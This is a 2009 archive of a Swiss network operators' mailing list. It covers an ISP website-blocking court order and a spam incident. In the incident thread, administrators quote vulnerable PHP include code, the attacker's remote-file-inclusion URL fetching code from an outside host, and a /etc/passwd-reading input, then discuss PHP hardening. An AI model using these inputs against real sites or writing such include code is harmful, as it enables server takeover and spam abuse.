Re: [swinog] SIUG position Re: Post from Canton de Vaud

2009-02-19 Diskussionsfäden Andreas Fink
 Another question is this:  What happens when one of those domain
 names expires and someone else registers it and uses it for some quite
 honorable purpose?  That (now-suspended) court order does not appear
 to foresee any way in which the censorship order could be challenged
 at a later time on the grounds that the censorship demand no longer
 has any legal basis.


this already happened:

www.freejustice.de is on the list of sites to block and currently  
available to buy from a domain grabber.
So one of our lawyers could pick it up and offer legal consultation or  
other legitimate use ;-)



___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] SIUG position Re: Post from Canton de Vaud

2009-02-19 Diskussionsfäden Xaver Aerni
I think we should pay this domain.
After we could receive a lot of money from our Staat...
Greetings Xaver
- Original Message - 
From: Andreas Fink af...@list.fink.org
To: Norbert Bollow n...@bollow.ch
Cc: vorst...@siug.ch; swi...@swinog.ch
Sent: Thursday, February 19, 2009 9:03 AM
Subject: Re: [swinog] SIUG position Re: Post from Canton de Vaud


 Another question is this:  What happens when one of those domain
 names expires and someone else registers it and uses it for some quite
 honorable purpose?  That (now-suspended) court order does not appear
 to foresee any way in which the censorship order could be challenged
 at a later time on the grounds that the censorship demand no longer
 has any legal basis.
 
 
 this already happened:
 
 www.freejustice.de is on the list of sites to block and currently  
 available to buy from a domain grabber.
 So one of our lawyers could pick it up and offer legal consultation or  
 other legitimate use ;-)
 
 
 
 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] F*ing Spammers and stupid customer code...

2009-02-19 Diskussionsfäden Romain Bourdy
And disable curl module BTW ;)


On Thu, Feb 19, 2009 at 4:41 PM, Radek Mrskos mrs...@volume.ch wrote:
 I think, this is what you should have anyway  in your php.ini


 allow_url_fopen = Off

 /Radek
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] F*ing Spammers and stupid customer code...

2009-02-19 Diskussionsfäden Philip Iezzi
luckily in this very single case! :)


On 19.02.2009, at 17:05, Mike Kellenberger wrote:

 luckily in this case: it's a windows server...

 regards,

 mike

 --  
 Mike Kellenberger  mike.kellenber...@escapenet.ch
 Escapenet - the Web Company   Tel +41 52 235 0700
 http://www.escapenet.ch   Skype mikek70atwork


 -Ursprüngliche Nachricht-
 Von: swinog-boun...@lists.swinog.ch [mailto:swinog-boun...@lists.swinog.ch 
 ] Im Auftrag von Gianni Carafa
 Gesendet: Donnerstag, 19. Februar 2009 17:04
 An: swi...@swinog.ch
 Betreff: Re: [swinog] F*ing Spammers and stupid customer code...

 Thats bad coding anyway :

 http://www.thestupidcustomer.xy/index.php?called_page_link=/etc/passwd



 Regards Gianni





 Radek Mrskos schrieb:
 I think, this is what you should have anyway  in your php.ini


 allow_url_fopen = Off

 /Radek
 Am 19.02.2009 um 16:31 schrieb Mike Kellenberger:


 Hi all

 Just stopped our mail server from spitting out thousands of spam
 messages.

 We have a customer who has a site with the following (stupid) code  
 in
 his index.php:

 if($called_page_link!=)
 {
 $requested_file=$called_page_link;
 }

 include($requested_file);


 The f*ing spammer found out about this and called the page with:

 http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit
 ies.com/nimiuu/fuck.txt?


 Boom.

 Have I already told you that I hate spammers? :-)

 Oh well, one down - a few million to go...


 Regards,

 Mike

 -- 
 Mike Kellenberger   
 mike.kellenber...@escapenet.ch
 Escapenet - the Web Company   Tel +41 52 235  
 0700
 http://www.escapenet.ch   Skype  
 mikek70atwork


 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


 Mit freundlichen Grüssen

 Radek Mrskos   Email: mrs...@volume.ch
 Baechlerstr. 12Tel:  +41 43 534 40 24
 CH-8802 Kilchberg  Mob: +41 79 219 68 66
 PGP:0x8CB69F6D  Fax: +41 86079 2196 866

 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog



___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] F*ing Spammers and stupid customer code...

2009-02-19 Diskussionsfäden Mike Kellenberger
luckily in this case: it's a windows server...

regards,

mike

-- 
Mike Kellenberger  mike.kellenber...@escapenet.ch
Escapenet - the Web Company   Tel +41 52 235 0700
http://www.escapenet.ch   Skype mikek70atwork


-Ursprüngliche Nachricht-
Von: swinog-boun...@lists.swinog.ch [mailto:swinog-boun...@lists.swinog.ch] Im 
Auftrag von Gianni Carafa
Gesendet: Donnerstag, 19. Februar 2009 17:04
An: swi...@swinog.ch
Betreff: Re: [swinog] F*ing Spammers and stupid customer code...

Thats bad coding anyway :

http://www.thestupidcustomer.xy/index.php?called_page_link=/etc/passwd 



Regards Gianni





Radek Mrskos schrieb:
 I think, this is what you should have anyway  in your php.ini


 allow_url_fopen = Off

 /Radek
 Am 19.02.2009 um 16:31 schrieb Mike Kellenberger:

   
 Hi all

 Just stopped our mail server from spitting out thousands of spam
 messages.

 We have a customer who has a site with the following (stupid) code in
 his index.php:

 if($called_page_link!=)
 {
  $requested_file=$called_page_link;
 }

 include($requested_file);


 The f*ing spammer found out about this and called the page with:

 http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit
 ies.com/nimiuu/fuck.txt?


 Boom.

 Have I already told you that I hate spammers? :-)

 Oh well, one down - a few million to go...


 Regards,

 Mike

 -- 
 Mike Kellenberger  mike.kellenber...@escapenet.ch
 Escapenet - the Web Company   Tel +41 52 235 0700
 http://www.escapenet.ch   Skype mikek70atwork


 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
 

 Mit freundlichen Grüssen

 Radek Mrskos   Email: mrs...@volume.ch
 Baechlerstr. 12Tel:   +41 43 534 40 24
 CH-8802 Kilchberg  Mob: +41 79 219 68 66
 PGP:0x8CB69F6D   Fax: +41 86079 2196 866

 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
   
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] F*ing Spammers and stupid customer code...

2009-02-19 Diskussionsfäden Philip Iezzi
Hey Mike

First thing to remember: never get nervous about a spammer! There are  
too many out there. It's just not worth your time to get angry about  
such things...
It was our choice to get sysadmins - spamfighting is one of our big  
daily tasks. We might as well work for McDonalds - there's spam too.

Turning off allow_url_fopen  CURL might give you some headaches about  
customers that definitely need the option to fetch remote data. So  
here's my recommended setup (allow_url_include was introduced in PHP  
5.2.0):

allow_url_fopen = On
allow_url_include = Off

This will prevent you from the most stupid spammers, at least.
Next, work on some secure PHP setup, say: running PHP as CGI with  
Apache's SuExec.
You should also throttle emails sent by PHP, e.g. with a simple  
sendmail wrapper:
http://www.iezzi.ch/archives/258
http://www.iezzi.ch/archives/217

Regards,
Philip

-- 
Onlime Webhosting
Wachterweg 21
CH-8057 Zürich

phone  +41 44 508 0702
skype  ondalime
i...@onlime.ch - http://www.onlime.ch



On 19.02.2009, at 16:46, Mike Kellenberger wrote:

 totally correct, thanks! Looks like I'm the stupid SysAdmin as  
 well... :-)

 Regards,

 Mike

 -- 
 Mike Kellenberger  mike.kellenber...@escapenet.ch
 Escapenet - the Web Company   Tel +41 52 235 0700
 http://www.escapenet.ch   Skype mikek70atwork


 -Ursprüngliche Nachricht-
 Von: swinog-boun...@lists.swinog.ch [mailto:swinog-boun...@lists.swinog.ch 
 ] Im Auftrag von Radek Mrskos
 Gesendet: Donnerstag, 19. Februar 2009 16:41
 An: Mike Kellenberger
 Cc: swi...@swinog.ch
 Betreff: Re: [swinog] F*ing Spammers and stupid customer code...

 I think, this is what you should have anyway  in your php.ini


 allow_url_fopen = Off

 /Radek
 Am 19.02.2009 um 16:31 schrieb Mike Kellenberger:

 Hi all

 Just stopped our mail server from spitting out thousands of spam
 messages.

 We have a customer who has a site with the following (stupid) code in
 his index.php:

 if($called_page_link!=)
 {
  $requested_file=$called_page_link;
 }

 include($requested_file);


 The f*ing spammer found out about this and called the page with:

 http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit
 ies.com/nimiuu/fuck.txt?


 Boom.

 Have I already told you that I hate spammers? :-)

 Oh well, one down - a few million to go...


 Regards,

 Mike

 -- 
 Mike Kellenberger  mike.kellenber...@escapenet.ch
 Escapenet - the Web Company   Tel +41 52 235 0700
 http://www.escapenet.ch   Skype mikek70atwork


 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

 Mit freundlichen Grüssen

 Radek Mrskos   Email: mrs...@volume.ch
 Baechlerstr. 12Tel:   +41 43 534 40 24
 CH-8802 Kilchberg  Mob: +41 79 219 68 66
 PGP:0x8CB69F6D   Fax: +41 86079 2196 866

 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog
 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog





___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


[swinog] SIUG position Re: Post from Canton de Vaud

2009-02-19 Diskussionsfäden Patrick Tybo
If my memory serves well: one of the guy writing the (rather harsh) pages
agains the judge had...
her (foreigner) wife (deported | casted out)* of switzerland.

So, unjustifiable sound uninformed: you can understand better the whole
issue with this information in hand.

I remember having Mme Juge Françoise Dessaules or some close lastname, on
the phone, on the begginning of this issue, it was in 1998 (!), there was no
legal framework for her request, I was suprised of their (the judges)
reaction when reading the rather lousy written, worded, pages, those few
pages had a big impact in their head while not of significant relevance for
anyone looking for good quality information.

(* had to look in the translation dictionnary for this, not sure the meaning
is the best)

Regards.

-

On Thu, Feb 19, 2009 at 1:33 AM, Norbert Bollow n...@bollow.ch wrote:
ro...@mgz.ch wrote:

 Im wondering why this guy taking a big risk in creating those pages
 somebody must have triggered that sickness.

I looked into this a bit back in August last year, seeking to
understand what got those guys so upset.  IMO the actions of
those guys in creating those pages, and protesting in other
(at least in part also illegal) ways, are unjustifiable.

However that does not at all justify that judge's decision to push
Switzerland onto the slippery slope of censorship.

 there are open points,
 how to finance the equipment.

*If* that court order turns ends up being binding, my understanding is
that the equipment will have to be financed just like all other
equipment that is required for operating an ISP in accordance with
the needs of the customers and the requirements of the law.

 How to handle an finance an ISP get sued by an client for censorship ?

If the ISP blocks *only* websites for which a court order to
block them has been served on the ISP, it should be possible to
get any complaint dismissed very inexpensively by pointing to that
court order.

This implies IMO that ISPs should avoid IP-based blocking.  I
would suggest to configure, in the nameservers which you make
available to your customers, false authoritative DNS responses for any
domains that you're required to block.  Point them to a page which
instructs visitors to direct any enquiries regarding the reasons
for the block to the court which ordered the block, quoting the case
number.

Of course this is easy to circumvent for any knowledgable person,
but it fulfils the requirement, and it's cheap and relatively
transparent.

 Is the commanding Court legitimated to force all swiss ISP to follow this
 order ?

This is unclear to me as well.

Another question is this:  What happens when one of those domain
names expires and someone else registers it and uses it for some quite
honorable purpose?  That (now-suspended) court order does not appear
to foresee any way in which the censorship order could be challenged
at a later time on the grounds that the censorship demand no longer
has any legal basis.

 what does SIUG say to that topic ? there sems to be no activity at all.

I have a few hours ago put up copies of the two recent court orders
(without the lists of ISP contact person names, which IMO raise some
privacy concerns) together with a very minimal comment up on siug.ch

If you're interested in seeing SIUG take further action, such as
publishing a position statement that explains why such censorship
is a bad idea, or organizing public events (e.g. a podium discussion)
on this topic, well, you're welcome to volunteer to do the necessary
work, or pay someone to do it. :-)

Best regards
Norbert Bollow,
president of SIUG
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] SIUG position Re: Post from Canton de Vaud

2009-02-19 Diskussionsfäden roger
i was doing a simple search in google to find references to swissjustice
different webdesigner, but allways referencing to swissjustice.
i think the pages where from before he dived in the darkness.
So he needed an webdesigner which is willing to hide as well. He is not so 
good designer obviously

interessting is the c9c.net page what they offer for service.

and then :
http://www.zivilcourage.ch/web/selbst.php
http://www.kinderklau.ch/web/kinder.php
http://www.kinderohnerechte.ch/web/selbst.php

His name es all over those pages 


to show just a few ...

Roger

___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] F*ing Spammers and stupid customer code...

2009-02-19 Diskussionsfäden Daniel Kamm
Mike Kellenberger wrote:
 totally correct, thanks! Looks like I'm the stupid SysAdmin as well... :-)

Actually, this problem is known since ages. I wonder, why you fall into 
that right now.

But what I really realise is, that this list is populated by Swiss 
Hosting Sysadmins from all important hosters. But they don't really 
share their experience and their actual problems. I mean in my old 
hosting days, I was glad to have some direct connections (for example 
per IRC), where I just could point out some troubles and solve them quickly.

So Hosting-Sysadmins, please get together and share your mind! This list 
is very network related and this is good so. Probably an other list 
would suit better for all hosters.

Cheerz,
  - Dan

PS: If I still was with a hoster, I would now take care of that. So 
maybe someone else can take the initiative.
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog


Re: [swinog] SIUG position Re: Post from Canton de Vaud

2009-02-19 Diskussionsfäden Zorg 421
If my memory serves well: one of the guy writing the (rather harsh) pages
agains judge had..her (foreigner) wife (deported | casted out)* of
switzerland.

So, unjustifiable sound uninformed: you can understand better the whole
issue with this information in hand.

I remember having Mme Juge Françoise Dessaules or some close lastname, on
the phone, on the begginning of this issue, it was in 1998 (!), there was no
legal framework for her request, I was suprised of their (the judges)
reaction when reading the rather lousy written, worded, pages, those few
pages had a big impact in their head while not of significant relevance for
anyone looking for good quality information.

(* had to look in the translation dictionnary for this)

regards.

On Thu, Feb 19, 2009 at 1:33 AM, Norbert Bollow n...@bollow.ch wrote:

 ro...@mgz.ch wrote:

  Im wondering why this guy taking a big risk in creating those pages
  somebody must have triggered that sickness.

 I looked into this a bit back in August last year, seeking to
 understand what got those guys so upset.  IMO the actions of
 those guys in creating those pages, and protesting in other
 (at least in part also illegal) ways, are unjustifiable.

 However that does not at all justify that judge's decision to push
 Switzerland onto the slippery slope of censorship.

  there are open points,
  how to finance the equipment.

 *If* that court order turns ends up being binding, my understanding is
 that the equipment will have to be financed just like all other
 equipment that is required for operating an ISP in accordance with
 the needs of the customers and the requirements of the law.

  How to handle an finance an ISP get sued by an client for censorship ?

 If the ISP blocks *only* websites for which a court order to
 block them has been served on the ISP, it should be possible to
 get any complaint dismissed very inexpensively by pointing to that
 court order.

 This implies IMO that ISPs should avoid IP-based blocking.  I
 would suggest to configure, in the nameservers which you make
 available to your customers, false authoritative DNS responses for any
 domains that you're required to block.  Point them to a page which
 instructs visitors to direct any enquiries regarding the reasons
 for the block to the court which ordered the block, quoting the case
 number.

 Of course this is easy to circumvent for any knowledgable person,
 but it fulfils the requirement, and it's cheap and relatively
 transparent.

  Is the commanding Court legitimated to force all swiss ISP to follow this
  order ?

 This is unclear to me as well.

 Another question is this:  What happens when one of those domain
 names expires and someone else registers it and uses it for some quite
 honorable purpose?  That (now-suspended) court order does not appear
 to foresee any way in which the censorship order could be challenged
 at a later time on the grounds that the censorship demand no longer
 has any legal basis.

  what does SIUG say to that topic ? there sems to be no activity at all.

 I have a few hours ago put up copies of the two recent court orders
 (without the lists of ISP contact person names, which IMO raise some
 privacy concerns) together with a very minimal comment up on siug.ch

 If you're interested in seeing SIUG take further action, such as
 publishing a position statement that explains why such censorship
 is a bad idea, or organizing public events (e.g. a podium discussion)
 on this topic, well, you're welcome to volunteer to do the necessary
 work, or pay someone to do it. :-)

 Best regards
 Norbert Bollow,
 president of SIUG
 ___
 swinog mailing list
 swinog@lists.swinog.ch
 http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog